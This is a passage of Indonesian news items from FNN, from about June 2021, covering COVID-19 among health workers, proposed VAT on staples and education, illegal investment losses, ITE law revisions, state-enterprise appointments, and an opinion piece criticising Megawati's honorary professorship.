SOP selama ini, memang rutin dilakukan sterilisasi pada ruangan dan kendaraan," tutur Cak Awi. Ia kembali mengajak masyarakat untuk selalu ketat dalam menjalankan protokol kesehatan. "Saya sudah berusaha dan disiplin protokol kesehatan, mungkin saat lengah, semisal ketika makan bersama kawan-kawan. Pokoknya tetap kita harus disiplin," kata dia. (sws)

Belasan Tenaga Kesehatan Puskesmas Cibinong Positif COVID-19

Cianjur, FNN - Belasan tenaga kesehatan di Puskesmas Cibinong, Cianjur, Jawa Barat, terpapar COVID-19 setelah dilakukan tes cepat dan usap, sehingga seluruh aktivitas pelayanan di puskesmas dihentikan untuk sementara. Kepala Puskesmas Cibinong, dr Rahardian saat dihubungi Jumat, mengatakan ditemukannya 16 orang tenaga kesehatan yang terpapar itu, berawal dari dua orang tenaga kesehatan yang mengeluh hilang penciuman dan gejala lainnya seperti COVID-19, sehingga dilakukan tes cepat dan usap RT PCR. "Hasilnya dari puluhan tenaga kesehatan yang ada, terdapat 16 orang terpapar COVID-19, sehingga langsung dilakukan isolasi mandiri. Untuk sementara seluruh pelayanan dihentikan kecuali gawat darurat," katanya. Ia menjelaskan, setelah dilakukan penelusuran, belasan tenaga kesehatan itu, diduga terpapar saat menjalankan aktifitas yang cukup padat selama satu bulan terakhir, termasuk memberikan pelayanan bagi warga satu desa klaster pengajian yang menjalani isolasi beberapa waktu lalu. Sehingga kondisi kesehatan mereka menurun dan rentan terpapar virus berbahaya. Sebagai antisipasi untuk memutus rantai penularan, pihaknya bersama gugus tugas langsung melakukan tes cepat dan usap terhadap keluarga dan warga sekitar tempat tinggal tenaga kesehatan yang positif. "Hasil penelusuran dan tes RT PCR yang dilakukan terhadap keluarga dan sampel beberapa orang warga terdekat, tidak menunjukkan gejala atau negatif COVID-19. Namun mereka diimbau untuk lebih meningkatkan prokes, saat beraktivitas di luar rumah," katanya. Sementara Juru Bicara Pusat Informasi dan Kordinasi COVID-19 Cianjur, dr Yusman Faisal, mengatakan seluruh aktivitas di Puskesmas Cibinong, dihentikan hingga batas waktu beberapa hari ke depan. Puluhan tenaga kesehatan lainnya, menjalankan aktifitas di rumah atau work from home. "Hanya pelayanan gawat darurat yang bisa dilayani. Kami sudah mengirim tim untuk penanganan dan melakukan penelusuran lebih dalam, terkait terpaparnya belasan tenaga medis di Puskesmas Cibinong. Kami mengimbau seluruh nakes di Cianjur, untuk lebih meningkatkan kesehatan dan pengamanan diri selama bertugas," katanya. (mth)

Ketua DPDRI Imbau Pemerintah Tinjau Ulang PPN Sembako

Jakarta, FNN - Ketua DPD RI AA LaNyalla Mahmud Mattalitti mengimbau pemerintah untuk meninjau ulang rencana pengenaan Pajak Pertambahan Nilai (PPN) terhadap sektor pendidikan dan kebutuhan pokok atau sembako demi mendukung kesejahteraan masyarakat. “Aturan pemberian pajak untuk sektor pendidikan dan bahan pangan pokok sebaiknya ditinjau ulang. Saya kira kebijakan tersebut tidak tepat karena akan membebankan masyarakat kecil,” kata Ketua DPD LaNyalla di Jakarta, Jumat. Ketua DPD LaNyalla mengatakan pengenaan PPN terhadap sektor pendidikan berpotensi menaikkan biaya sekolah sehingga akan membebankan masyarakat, terutama kelas menengah ke bawah. "Anak-anak yang bersekolah swasta tidak semuanya dari kalangan mampu. Ada sekolah-sekolah swasta yang siswanya dari kelompok masyarakat kecil yang tidak bisa masuk sekolah negeri," kata Ketua DPD RI itu. Sementara untuk rencana pemberlakuan PPN terhadap sembako, ia menilai hal itu justru menghambat program pemulihan ekonomi nasional (PEN) karena jika daya masyarakat turun maka akan mempengaruhi pertumbuhan ekonomi. "Menurut saya, mengambil pajak dari sektor pendidikan, sembako, serta jasa kesehatan bukan jalan yang tepat untuk menambah penerimaan negara,” ujar LaNyalla. Ia menyarankan agar pemerintah mencari jalan lain dalam membenahi sistem perpajakan melalui berbagai upaya kreatif dalam rangka mendorong penerimaan negara. "Pemerintah juga harus memperhatikan pandangan para ahli ekonomi yang menyatakan wacana tersebut akan membuat ketimpangan si kaya-miskin semakin lebih lebar," ujar Ketua DPD RI LaNyalla.

Polda Kaltara Tangkap WNA Bawa Permen Mengandung Ganja

Tarakan, FNN - Direktorat Reserse dan Narkoba Kepolisian Daerah Kalimantan Utara (Polda Kaltara) mengamankan seorang warga negara asing (WNA) yang membawa permen mengandung ganja "Saat ini WNA tersebut masih dalam pemeriksaan, ditangkap di Tanjung Selor pada hari Kamis (10/6)," kata Direktur Reserse dan Narkoba Polda Kaltara Kombes Pol Agus Yulianto saat dihubungi dari Tarakan, Jumat. Dia menambahkan bahwa saat ini, timnya sedang melakukan pemeriksaan terhadap WNA yang berjenis kelamin laki-laki. Rencananya Polda Kaltara akan merilis kasus permen mengandung ganja di Mapolda Kaltara di Tanjung Selor, Senin (14/6). (ant)

OJK: Investasi Ilegal Rugikan Masyarakat hingga Rp117,4 Triliun

Solo, FNN - Investasi ilegal di Indonesia terhitung mulai tahun 2011 hingga 2021 telah menimbulkan kerugian di kalangan masyarakat sebesar Rp117,4 triliun, kata pejabat Otoritas Jasa Keuangan (OJK). "Sepuluh tahun ini investasi ilegal merugikan masyarakat sampai sebesar itu. Ini belum yang tidak melaporkan. Kejadian ini memang berulang terus," kata Kepala Departemen Penyidikan Sektor Jasa Keuangan Otoritas Jasa Keuangan (OJK) sekaligus Ketua Satuan Tugas Waspada Investasi Tongam L Tobing di Solo, Jumat. Bahkan, kata dia, saat ini pelaku maupun korban berasal dari berbagai kalangan, tidak tergantung dari latar belakang pendidikan mereka. Salah satu alasan masih banyak korban dari investasi ilegal adalah iming-iming keuntungan besar dalam waktu cepat. Ia mengatakan investasi ilegal ini sering terjadi dengan melibatkan keluarga, yaitu anggota keluarga yang sudah terjebak pada investasi ilegal mengajak anggota keluarga lain untuk masuk dengan mengiming-imingi keuntungan besar. "Karena yang disasar ini lingkungan tertentu, pelaku tidak harus orang pintar dan korban tidak harus orang yang kurang pendidikan. Kalau sudah sekali masuk maka uang tidak kembali, aset habis," katanya. Oleh karena itu, hingga saat ini pihaknya terus aktif mengedukasi masyarakat, salah satu yang disampaikan kepada masyarakat adalah selalu memegang dua prinsip, yaitu logis dan legal. "Legal artinya memastikan status perizinan jelas dan logis artinya imbal hasil wajar dan memiliki risiko. Selama ini kan diiming-imingi kaya dan dapat uang cepat," katanya. Meski demikian, katanya, hingga saat ini masih ada permasalahan penegakan hukum pada kasus investasi ilegal, baik dari sisi pelaku maupun korban. Dari sisi pelaku adalah sering tidak semua pelaku diproses hukum, selain itu mereka tidak jarang mengganti entitas baru. "Sedangkan dari sisi korban, sering mereka tidak melapor karena malu, kerugian kecil, atau karena takut diteror. Oleh karena itu, perlu adanya edukasi yang dilakukan terus-menerus," katanya. (ant)

Mahfud MD Sebut Pelaku Asusila Tak Terjerat UU ITE

Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD menyebutkan, pelaku mesum atau asusila yang kontennya tersebar ke dunia maya tidak terjerat dalam UU Informasi dan Transaksi Elektronik (ITE) yang akan direvisi. Menurut Mahfud saat jumpa pers yang disiarkan melalui YouTube, di Kantor Kemenko Polhukam, Jakarta, Jumat, orang dijerat UU ITE adalah orang yang menyebarkan konten/video tersebut. Dia menyebutkan, dalam Pasal 27 ayat 1 UU ITE, seseorang yang melakukan kesusilaan seperti dilihat dalam konten digital tidak akan dihukum, namun yang akan dihukum adalah penyebar konten itu. "Pelaku yang dapat dijerat oleh Pasal 27 ayat 1 UU ITE terkait dengan penyebaran konten kesusilaan adalah pihak yang memiliki niat menyebarluaskan untuk diketahui oleh umum," katanya pula. Namun, lanjut dia, pelaku mesum atau asusila dapat dihukum melalui UU Pornografi. "Apa tidak dihukum. Dihukum, tapi bukan UU ITE, itu ada UU sendiri misalnya Undang-Undang Pornografi," kata Mahfud. Dalam kesempatan itu, Mahfud menyebutkan, pasal lain yang akan direvisi adalah Pasal 27 ayat 3 terkait pencemaran nama baik. Mahfud mengatakan setiap pelapor pencemaran nama baik itu, hanya korban pencemaran nama baik yang berhak melaporkannya ke pihak kepolisian. Kemudian, Pemerintah dalam pasal ini juga membedakan norma antara kasus pencemaran nama baik dan fitnah. Menurut Mahfud, misalnya pencemaran nama baik dan fitnah seperti tercantum Pasal 27 ayat 3, di dalam usul revisi membedakan norma antara pencemaran nama baik dan fitnah sesuai dengan putusan Mahkamah Konstitusi Nomor 50 PUU 6 2008 termasuk perubahan ancaman pidananya diturunkan. Mahfud mencontohkan, misalnya ada yang menuduhnya punya banyak tato di punggung dan disebut sebagai anggota preman. "Sesudah diperiksa tidak terbukti, itu fitnah, tapi setelah diperiksa benar ada tato itu pencemaran atau gibah, tetap dihukum, tapi beda, fitnah dan pencemaran," ujar Mahfud. Selain itu, dalam delik aduan pihak yang berhak menyampaikan aduan dalam tindak pidana pencemaran, fitnah, menyerang nama baik seseorang dengan menggunakan sarana ITE hanya korban," katanya pula. Pemerintah juga mengusulkan revisi Pasal 27 ayat 4 tentang pemerasan, yang mempertegas norma hukumnya dengan menguraikan unsur ancaman. Ada berbagai unsur ancaman dalam pasal ini. "Ancaman akan buka rahasia, memaksa seseorang menyerahkan yang seluruhnya atau sebagian kepunyaan orang itu, atau kepunyaan orang lain supaya misalnya membuat pernyataan utang, membuat penghapusan piutang, untuk berbuat atau tidak berbuat sesuatu dilakukan dengan sarana elektronik dan dokumen elektronik," kata Mahfud. Hal itu yang dimaksud dengan ancaman, yang sebenarnya disebut cuma pemerasan. "Nah sekarang diurai, ancaman pencemaran, ancaman membuka rahasia, memaksa orang supaya memberi sesuatu dan seterusnya, jadi diurai agar tidak menjadi pasal karet, ini ukurannya sekarang," katanya pula. Kemudian, Pasal 28 ayat 2 terkait ujaran kebencian. Nantinya, kata dia, seseorang yang dilaporkan menyebarkan informasi untuk menimbulkan rasa benci itu tidak termasuk melanggar pasal ini, yang melanggar itu jika seseorang terbukti menyebarkan informasi dan menimbulkan kebencian serta dibarengi dengan hasutan agar orang lain menyebarkan informasi itu. Ujaran kebencian dalam UU ITE normanya hanya menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu atau kelompok masyarakat berdasarkan SARA, itu kebencian, kata Mahfud pula. "Nah kami mengusulkan dalam revisi dipertegas dengan norma bukan hanya menyebarkan masalah SARA, tapi menghasut, mengajak atau mempengaruhi ketika dia menyebarkan informasi itu, kalau cuma menyebarkan tanpa niat ini (menghasut), tidak bisa, kami usulkan gitu, yang itu semua ditujukan untuk itu timbulkan rasa benci atau permusuhan terhadap individu dan atau kelompok masyarakat tertentu berdasarkan SARA tadi," kata Mahfud MD. (ant)

Erick Thohir Ungkap Alasan Pengangkatan Bambang Brodjonegoro sebagai Komut PT Telkom

Jakarta, FNN - Menteri BUMN Erick Thohir mengungkap alasan pengangkatan Menteri Riset dan Teknologi/Kepala Badan Riset dan Inovasi Nasional (BRIN) periode 2019-2021 Prof Bambang Permadi Soemantri Brodjonegoro sebagai Komisaris Utama (Komut) PT Telkom Indonesia (Persero) Tbk. "Kepakaran, pengalaman dan kepemimpinan Prof Bambang di bidang ekonomi, perencanaan dan teknologi, menjadikannya sosok yang tepat untuk memandu dan memberi arah, dan pengawasan kepada Telkom sebagai penggerak digitalisasi Indonesia, dan champion Indonesia untuk bersaing dengan pemain global,” ujar Menteri BUMN Erick Thohir dalam keterangan tertulis yang diterima di Jakarta, Jumat. Menurut Erick Thohir, digitalisasi merupakan motor penggerak pemulihan ekonomi nasional. Sebelumnya Rapat Umum Pemegang Saham Tahunan (RUPST) PT Telkom Indonesia (Persero) Tbk mengangkat mantan Menteri Riset dan Teknologi Indonesia/Kepala Badan Riset dan Inovasi Nasional Bambang Permadi Soemantri Brodjonegoro sebagai Komisaris Utama/ Komisaris Independen baru Telkom. Bambang Brodjonegoro menggantikan Komisaris Utama/ Komisaris Independen Telkom sebelumnya yakni Rhenald Kasali. Bambang Brodjonegoro pernah menjabat sebagai Komisaris Utama PT Bukalapak.com. Bambang Brodjonegoro sendiri optimis keberadaan startup akan mampu mengoptimalkan dan memanfaatkan peluang ekonomi digital di Indonesia. Ia menyatakan startup di Indonesia sangat mengerti dan memahami peluang ekonomi digital sehingga memanfaatkan adanya kemajuan teknologi. Tak hanya itu Bambang Brodjonegoro menuturkan startup ini juga dipenuhi dengan para generasi milenial yang sangat adaptif terhadap inovasi digital, sehingga mampu melahirkan produk-produk yang mampu bersaing di era ekonomi digital. Terlebih lagi Indonesia memiliki bonus demografi sehingga ekonomi digital akan semakin dapat dikembangkan dengan mengarahkan mereka dari segi pendidikan dan kesehatan yang lebih baik.

Erick Thohir Tunjuk Letjend TNI (Purn) Doni Monardo sebagai Komut PT Inalum

Jakarta, FNN - Menteri BUMN Erick Thohir menunjuk Letnan Jenderal TNI (Purn) Doni Monardo sebagai Komisaris Utama PT Indonesia Asahan Aluminium (Persero) atau Inalum. “Peran Pak Doni sangat penting. Terlebih, pengalaman, kemampuan, jaringan, dan prestasi beliau tidak diragukan lagi. Sepak terjangnya dari Aceh hingga Papua, dari pemulihan daerah aliran sungai Citarum, penghijauan di Sulawesi Selatan hingga terakhir dalam memitigasi pandemi COVID-19. Beliau mengedepankan dialog dan kolaborasi lintas stakeholder untuk mengatasi masalah, dan mencapai kemajuan," ujar Menteri BUMN Erick Thohir dalam keterangan tertulis yang diterima di Jakarta, Jumat. Menurut Erick Thohir, kepedulian dan kiprah Doni di bidang pemulihan lingkungan hidup menjadikannya figur yang dibutuhkan untuk menjaga keseimbangan antara upaya pemberdayaan dan menjaga keberlanjutan lingkungan yang dilakukan Inalum serta anak-anak perusahaannya. Letnan Jenderal TNI (Purn) Doni Monardo diangkat sebagai Komisaris Utama Inalum, menyusul diselenggarakannya Rapat Umum Pemegang Saham (RUPS) Tahunan perseroan pada Kamis (10/6). Inalum adalah holding BUMN industri pertambangan dengan anggota PT Freeport Indonesia, PT ANTAM Tbk, PT Bukit Asam Tbk, PT Timah Tbk, dan saham minoritas di PT Vale Indonesia Tbk. “Inalum mengelola aset vital negara di bidang pertambangan yang memiliki rencana besar di bidang kinerja dan aksi korporasi, dengan mementingkan keharmonisan dengan lintas stakeholder, serta pemberdayaan dan perlindungan lingkungan hidup secara berkelanjutan," kata Erick Thohir. Doni Monardo terakhir menjabat sebagai Kepala BNPB/Ketua Satgas Penanganan COVID-19 dan kemudian digantikan oleh Kepala Staf Umum TNI Letjen TNI Ganip Warsito. Doni Monardo purna tugas dari TNI pada 1 Juni 2021. Pada Maret lalu, Doni Monardo dianugerahi gelar doktor honoris causa oleh IPB atas dedikasi dan jasanya dalam penyelamatan lingkungan. (sws)

Politisasi Guru Besar Kian Merusak Marwah Perguruan Tinggi

KETUA Umum PDIP Megawati Soekarnoputri baru saja dikukuhkan sebagai guru besar, alias profesor kehormatan di Universitas Pertahanan, Jumat (11/6). Megawati, kata Rektor Unhan Laksamana Madya TNI Prof Amarulla Octavian, dinilai berhasil memimpin Indonesia menghadapi krisis multidimensi selama menjadi Presiden RI (2001-2004). Keberhasilan itu lah yang dijadikan Megawati sebagai judul pidato pengukuhannya : Kepemimpinan Presiden Megawati Pada Era Krisis Multidimensi pada 2001-2004. Pengukuhan Megawati sebagai profesor ini mengundang kontroversi. Mulai dari kelayakan, status guru besar kehormatan, sampai judul pidato pengukuhannya yang dinilai memuji diri sendiri. Sehari sebelum pengukuhan Megawati, Dirjen Dikti Kemendikbud Ristek Nizam kepada media secara tegas menyatakan tidak ada gelar profesor kehormatan. Yang ada adalah gelar doktor kehormatan. Berdasarkan Peraturan Menteri Riset, Teknologi, dan Pendidikan Tinggi No. 65 Tahun 2016 tentang Gelar Doktor Kehormatan, gelar doktor kehormatan diberikan oleh perguruan tinggi kepada seseorang dengan jasa yang luar biasa dalam ilmu pengetahuan dan teknologi dan/atau berjasa dalam bidang kemanusiaan. Untuk gelar doktor kehormatan, Mega telah mengantongi 9 gelar dari berbagai perguruan tinggi dalam dan luar negeri. Sehari kemudian Nizam meralat pernyataannya. Dia membuat siaran resmi mengucapkan selamat atas pengukuhan Megawati sebagai profesor. Lucunya Nizam menyebut Mega sebagai profesor dengan status dosen tidak tetap. Dia mengacu pada Undang-Undang Nomor 12 Tahun 2012 tentang Pendidikan Tinggi serta Permendikbud Nomor 40 Tahun 2012 tentang Pengangkatan Profesor/Guru Besar Tidak Tetap pada Perguruan Tinggi. Seseorang yang memiliki keahlian dengan prestasi luar biasa dapat diangkat sebagai dosen tidak tetap dalam jabatan akademik tertentu pada perguruan tinggi. Pernyataan Nizam dan kemudian diikuti Ralat tersebut menunjukkan betapa kacaunya administrasi pada Kemendikbud Ristek yang dipimpin Nadiem. Bagaimana mungkin seorang Dirjen yang membawahi perguruan tinggi, tidak tahu menahu bahwa Menteri sebagai atasannya telah mengeluarkan surat keputusan untuk gelar Megawati. Penetapan Profesor Kehormatan terhadap Megawati tersebut tertuang dalam surat Menteri Pendidikan, Kebudayaan, Riset dan Teknologi (Mendikbud Ristek) Nomor 33271/MPK.A/KP.05.00/2021. “Terhitung mulai tanggal 1 Juni 2021 diangkat dalam jabatan Profesor dalam Ilmu Kepemimpinan Strategik ditetapkan di Jakarta pada tanggal 20 Mei 2021,” kata Sekretaris Senat Unhan saat membacakan surat keputusan tersebut. Sejak awal publik sudah mencurigai pemberian gelar profesor kepada Megawati sangat kental dengan aroma politik. Bagi lingkungan Dephan yang dipimpin oleh Prabowo Subianto, ini merupakan penghargaan kedua yang diberikan kepada Megawati dalam sepekan terakhir. Pada tanggal 6 Juni Megawati meresmikan patung Presiden Soekarno sedang menunggang kuda di halaman Depan kantor Kemenhan. Soekarno alias Bung Karno nota bene adalah ayah kandung Megawati. Tak cukup hanya itu, sekarang Unhan yang secara kelembagaan berada di bawah Kemenhan memberi gelar profesor kehormatan kepada Megawati. Dua penghargaan itu sangat sulit untuk tidak dihubung-hubungkan dengan kepentingan politik menghadapi Pilpres 2024. Prabowo sedang mengincar tiket dan dukungan dari PDIP sebagai capres berpasangan dengan Puan Maharani. Keinginan Prabowo ini secara terbuka sudah disampaikan oleh Sekjen Partai Gerindra Achmad Muzani. Mereka ingin berkoalisi dengan PDIP. Keinginan politik semacam itu sah-sah saja. Masalahnya menjadi lain, ketika Prabowo kemudian mempolitisasi perguruan tinggi. Peruguruan tinggi adalah sebuah institusi yang kemandiriannya harus dijunjung tinggi. Tidak hanya secara akademis, namun juga moral. Mengacu pada aturan yang dikemukakan oleh Dirjen Dikti Nizam, gelar profesor kehormatan tidak dikenal. Aroma barter politik dalam pemberian gelar itu memang sangat kental. Selain Prabowo, Mendikbud Ristek Nadiem juga patut dicurigai. Bagaimana mungkin dia menerbitkan surat keputusan, tanpa diketahui oleh bawahannya. Untuk gelar guru besar, perguruan tinggi biasanya akan mengajukan usulan ke kementerian. Pos pertama yang menerima usulan adalah Dirjen Dikti. Setelah memenuhi semua syarat dan ketentuan, baru diajukan ke menteri. Jadi patut diduga usulan gelar profesor kehormatan ini juga di by pass langsung ke Menteri Nadiem. Publik pasti belum lupa. Ketika heboh reshuffle dan peleburan Kementerian Ristek ke Kemendikbud, Nadiem diketahui sowan ke Megawati. Mega meminta agar Nadiem melakukan pelurusan sejarah Peristiwa G30S/PKI. Ketika Presiden Jokowi akhirnya mengumumkan reshuffle, Menristek Bambang Brojonegoro terpental. Kemenristek dilebur ke Kemendikbud. Nadiem tetap bertahan dengan kekuasaan dan kewenangan yang lebih besar. Terbitnya SK gelar profesor kehormatan yang tidak dikenal di dalam aturan dan ketentuan pemberian gelar di Kemendikbud, menegaskan adanya aturan yang ditabrak. Itu merupakan konsekuensi barter-barter politik yang tengah terjadi di pemerintahan Jokowi. Melalui forum ini kami mengingatkan. Terlalu banyak institusi yang telah dirusak pada masa rezim pemerintahan Jokowi. Mulai dikebirinya peran lembaga legislatif, lembaga judisial seperti MK dan KPK, dan sekarang politisasi dunia perguruan tinggi. Mau dibawa ke mana bangsa ini, bila perguruan tinggi, sebagai simbol moral intelektual juga diacak-acak, demi kepentingan politik jangka pendek para politisi yang haus kekuasaan. Ambyaarrrrr!

INDEF Paparkan Efek Domino PPN Sembako dan Pendidikan

Jakarta, FNN - Direktur Eksekutif Institute for Development of Economics and Finance (Indef) Tauhid Ahmad memaparkan efek domino yang ditimbulkan jika sembako dan sektor pendidikan dikenai Pajak Pertambahan Nilai (PPN). “Kalau sembako keterangan resminya akan naik 12 persen. Wah bayangkan kalau sembako naik sekitar 12 persen kira-kira apa yang akan terjadi? Besar enggak?” katanya kepada Antara di Jakarta, Jumat. Tauhid menyatakan jika bahan-bahan makanan pokok masyarakat atau sembako dikenai PPN maka harganya semakin mahal sehingga konsumen otomatis akan menurun. “Pastinya konsumen akan menjerit karena harga semakin mahal. Konsumen akan menyesuaikan terutama kelompok menengah ke bawah,” ujarnya. Ia mengatakan jika barang-barang yang dikonsumsi turun, maka penjualan juga akan menurun yang pada akhirnya mempengaruhi hulunya yakni industri dan pengusaha. Tauhid menjelaskan industri atau pelaku usaha akan mengurangi jumlah produksi, akibatnya jumlah tenaga kerja harus efisien baik pengurangan waktu jam kerja hingga upah. Ia melanjutkan secara umum dampak berantainya yakni pendapatan masyarakat akan berkurang. “Ketika PPN naik otomatis dampak besarnya pendapatan masyarakat turun, konsumsi turun, daya beli turun,” tegasnya. Tak hanya itu, ia mengatakan rencana pemberlakuan PPN terhadap sembako juga berpotensi menaikkan tingkat kemiskinan di Indonesia. Sementara untuk PPN pendidikan, Tauhid menegaskan rencana ini sangat merugikan sekolah-sekolah swasta, terutama di pedesaan. “Iya (terancam tutup) seperti sekolah-sekolah swasta di desa kan tidak bisa dikecualikan,” ujarnya. Secara keseluruhan Tauhid mengingatkan pemberlakuan PPN terhadap sembako dan sektor pendidikan akan menurunkan pertumbuhan ekonomi Indonesia. Oleh sebab itu ia menyarankan agar upaya reformasi perpajakan dapat lebih didorong melalui upaya lain seperti intensifikasi, meningkatkan kepatuhan, penegakan hukum, dan perluasan basis pajak baru. “Ini menurut saya yang harusnya menjadi pokok dan pemerintah bisa layani lebih baik ternyata enggak bisa,” tegasnya. Di sisi lain, Staf Khusus Menteri Keuangan Bidang Komunikasi Strategis Yustinus Prastowo menegaskan Rancangan Undang-Undang Ketentuan Umum dan Tata Cara Perpajakan (RUU KUP) masih perlu disiapkan dan didiskusikan. Yustinus menyatakan RUU KUP harus didiskusikan di masa pandemi COVID-19 sebagai upaya mempersiapkan Indonesia menyambut peluang setelah krisis kesehatan ini berakhir. “Rancangan ini perlu disiapkan dan didiskusikan di saat pandemi, justru karena kita bersiap. Bukan berarti akan serta merta diterapkan di saat pandemi. Ini poin penting: timing,” jelasnya dalam akun twitter resmi @prastow yang dikutip di Jakarta, Jumat. (mth)

LaNyalla Minta BPKH Lebih Transparan dalam Alokasi Dana Haji

Jakarta, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti meminta Badan Pengelola Keuangan Haji (BPKH) untuk lebih transparan dalam mengalokasikan dana olahannya demi mengurangi polemik. LaNyalla menyampaikan hal tersebut menanggapi langkah BPKH mengalokasikan dana olahannya pada usaha mikro dan menengah, melalui program Unit Layanan Modal Mikro (ULaMM) Syariah, dan Pembinaan Ekonomi Keluarga Sejahtera (Mekaar) Syariah untuk membantu masyarakat. "Dana haji adalah dana milik umat. Sehingga transparansi sangat dibutuhkan. Hal ini juga harus dilakukan agar tidak memicu polemik," ujar LaNyalla dalam keterangan tertulis yang diterima di Jakarta, Jumat. Menurutnya, penggunaan dana haji yang diinvestasikan sangat penting untuk ditunjukkan kepada masyarakat, bukan hanya sebatas narasi keamanan investasi. "Oleh sebab itu, BPKH harus lebih transparan kepada masyarakat, agar masyarakat mengetahui uangnya ada di mana dan berapa hasil investasinya, serta berapa besar manfaatnya untuk umat dan manfaatnya untuk urusan haji sendiri. Masyarakat perlu penjelasan yang riil dan langsung," katanya. Selain itu, lanjut dia, investasi yang menyasar surat berharga syariah negara (SBSN), sukuk korporasi memiliki imbal hasil yang beragam. Untuk syariah, mencapai 4 persen lebih, dan surat berharga proyeksinya mencapai 7,5 persen hingga 8 persen. "Penjelasan detail seperti ini harus disampaikan agar tidak terjadi multipersepsi di masyarakat," katanya. Penggunaan dana haji untuk kredit mikro, telah disetujui anggota BPKH maupun dewan pengawas. Langkah ini merupakan komitmen BPKH agar penggunaan dana haji bisa dirasakan manfaatnya oleh masyarakat. "Tugas BPKH memang tidak mudah. Mereka bertanggungjawab dalam menutupi subsidi penyelenggaraan Ibadah Haji. Sehingga harus ada terobosan. Selama bisa dipertanggungjawabkan, transparan dan tidak berpolemik, kita akan mendukung langkah tersebut," kata LaNyalla. BPKH sendiri harus menyediakan sekitar Rp7 triliun dalam satu tahun untuk menutupi subsidi penyelenggaraan haji. Selain itu, BPKH juga harus membayar virtual account, yang tahun lalu dianggarkan Rp2 triliun untuk jemaah. Sebelumnya, Kepala BPKH Anggito Abimanyu memastikan dana milik para jamaah haji yang tertunda keberangkatannya aman. Anggito juga memastikan bahwa dalam pengelolaan dana haji tidak ada investasi yang rugi. Selain itu, alokasi investasi dana haji juga tidak ditempatkan pada sektor infrastruktur. "Tidak ada alokasi investasi di infrastruktur, tentu banyak yang menginterpretasikan bahwa ini akan menimbulkan risiko tinggi bagi dana haji," ucapnya. Anggito juga mengatakan bahwa laporan keuangan BPKH diaudit secara rutin oleh Badan Pemeriksa Keuangan (BPK). (mth)

Sejumlah Menteri Hadiri Pengukuhan Gelar Profesor Kehormatan Megawati

Bogor, FNN - Sejumlah Menteri Kabinet Indonesia Maju menghadiri sidang senat terbuka pengukuhan gelar Profesor Kehormatan (Guru Besar Tidak Tetap) Presiden Kelima RI Megawati Soekarnoputri di Universitas Pertahanan, Bogor, Jawa Barat, Jumat. Tampak hadir Menteri Pertahanan Prabowo Subianto, Menteri Pendidikan Kebudayaan dan Ristekdikti Nadiem Makarim, Menteri Sosial Tri Rismaharini, Menteri PPPA I Gusti Ayu Bintang Darmawati. Kemudian Menteri Perhubungan Budi Karya Sumadi, Menteri PAN-RB Tjahjo Kumolo, Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono, serta Sekretaris Kabinet Pramono Anung. Selain jajaran Kabinet Indonesia Maju, nampak juga Ketua DPR RI Puan Maharani, Ketua MPR RI Bambang Soesatyo, Gubernur Jawa Barat Ridwan Kamil. Selanjutnya, dari unsur militer yang hadir seperti Kepala Badan Intelijen Negara (BIN) Jendral Budi Gunawan, Kepala Staf Angkata Darat (KSAD) Jenderal Andika Perkasa, Kepala Staf Angkatan Udara (KSAU) Marsekal TNI Yuyu Sutisna, dan Kepala Staf Angkatan Laut (KSAL) Laksmana TNI Siwi Sukma Adji. Megawati dikukuhkan sebagai Profesor Kehormatan Ilmu Pertahanan Bidang Kepemimpinan Strategik pada Fakultas Strategi Pertahanan, Universitas Pertahanan. Sidang senat akademik Unhan telah menerima hasil penilaian Dewan Guru Besar Unhan atas seluruh karya ilmiah Megawati Soekarnoputri sebagai syarat pengukuhan. Seperti diketahui, Rektor Unhan RI Laksamana Madya TNI Amarulla Octavian menyebutkan bahwa pemberian gelar itu juga tidak terlepas dari kepemimpinan Megawati dalam menghadapi krisis multi dimensi di era pemerintahannya. Menurutnya, Unhan mencatat keberhasilan Megawati saat di pemerintahan dalam menuntaskan konflik sosial seperti penyelesaian konflik Ambon, penyelesaian konflik Poso, pemulihan pariwisata pasca bom Bali, dan penanganan permasalahan TKI di Malaysia. "Ibu Megawati menjadi presiden pertama perempuan di negara kita. Di era Ibu Megawati pertama kalinya diselenggarakan pemilihan umum legislatif dan presidensi secara langsung," jelas Octavian. (mth)

Satgas Hentikan Evakuasi Warga Kudus Terpapar COVID-19 ke Donohudan

Kudus, FNN - Tim Satgas Percepatan Penanganan COVID-19 Kabupaten Kudus, Jawa Tengah, untuk sementara menghentikan evakuasi warga yang terpapar virus corona ke Asrama Haji Donohudan Boyolali karena tempatnya hampir penuh. "Informasi yang kami peroleh, di asrama haji hanya tersisa 150 tempat tidur. Rencananya yang masih tersisa dicadangkan untuk warga Solo Raya yang terpapar COVID-19 untuk menjalani isolasi terpusat," kata Pelaksana harian Kepala Dinas Kesehatan Kabupaten Kudus Masut di Kudus, Jumat. Dengan demikian, kata dia, untuk hari ini (11/6) tidak ada evakuasi warga terpapar COVID-19 ke Asrama Haji Donohudan, Boyolali. Terkait dengan sejumlah keluhan warga Kudus yang menjalani isolasi di Donohudan, kata dia, sudah diterima dan menjadi bahan koreksi Tim Satgas COVID-19. Terkait kondisi Donohudan juga sudah dikomunikasikan dengan pihak penanggungjawabnya. Di antaranya, terkait keluhan soal ketersediaan obat-obatan, air mineral hingga tim medis yang sebelumnya disebutkan siaga 24 jam. Hari ini (11/6) dijadwalkan ada pemulangan warga Kudus yang hasil tes usap tenggorokan (swab) PCR-nya dinyatakan negatif COVID-19. Tim Satgas COVID-19 Kudus sendiri sudah menyiagakan empat bus untuk penjemputan warga yang hasil swab PCR-nya dinyatakan negatif corona. Berdasarkan data Tim Satgas COVID-19 Kudus per tanggal 10 Juni 2021, jumlah warga Kudus yang menjalani isolasi terpusat di Donohudan sebanyak 529 orang dan 11 orang dirujuk ke rumah sakit. (mth)

RSUD Mataram Mulai Buka Pelayanan Vaksinasi Publik

